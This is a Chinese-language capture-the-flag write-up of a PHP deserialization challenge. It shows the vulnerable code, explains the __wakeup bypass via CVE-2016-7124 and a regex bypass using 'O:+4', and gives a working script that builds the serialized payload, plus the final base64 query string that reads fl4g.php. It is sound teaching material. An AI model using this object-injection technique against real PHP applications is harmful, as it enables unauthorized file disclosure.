本題進入場景后,顯示如下代碼:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
可以看出,代碼中使用了php反序列化函數unserialize(),且可以通過$var來控制unserialize()的變量,猜測存在php反序列化漏洞。
php序列化:php為了方便進行數據的傳輸,允許把復雜的數據結構,壓縮到一個字符串中。使用serialize()函數。
Php反序列化:將被壓縮為字符串的復雜數據結構,重新恢復。使用unserialize() 函數。
php反序列化漏洞:php有許多魔術方法,如果代碼中使用了反序列化 unserialize()函數,並且參數可控制,那么可以通過設定注入參數來完成想要實現的目的。
具體php反序列化學習可參考:https://www.cnblogs.com/ichunqiu/p/10484832.html
看到源碼,本題需要繞過一個__wakeup()函數和一個正則匹配,才能高亮顯示出 fl4g.php 文件。
繞過__wakeup():
在反序列化執行之前,會先執行__wakeup這個魔術方法,所以需要繞過。
繞過__wakeup()是利用CVE-2016-7124漏洞,即反序列化時,如果表示對象屬性個數的值大於真實的屬性個數時就會跳過__wakeup( )的執行。
影響版本:
- PHP before 5.6.25
- 7.x before 7.0.10
繞過正則:
使用+可以繞過preg_match(), 正則匹配這里匹配的是 O:4,我們用 O:+4 即可繞過。
腳本如下:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $var = new Demo('fl4g.php'); $var = serialize($var); var_dump($var);//string(48) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" $var = str_replace('O:4', 'O:+4',$var);//繞過preg_match $var = str_replace(':1:', ':2:',$var);//繞過wakeup var_dump($var);//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" var_dump(base64_encode($var));#顯示base64編碼后的序列化字符串 //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" ?>
最后get傳參即可獲得flag。
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
這里有個坑,這里的 file 變量為私有變量,所以序列化之后的字符串開頭結尾各有一個空白字符(即%00),字符串長度也比實際長度大 2,如果將序列化結果復制到在線的 base64 網站進行編碼可能就會丟掉空白字符,所以這里直接在php 代碼里進行編碼。類似的還有 protected 類型的變量,序列化之后字符串首部會加上%00*%00。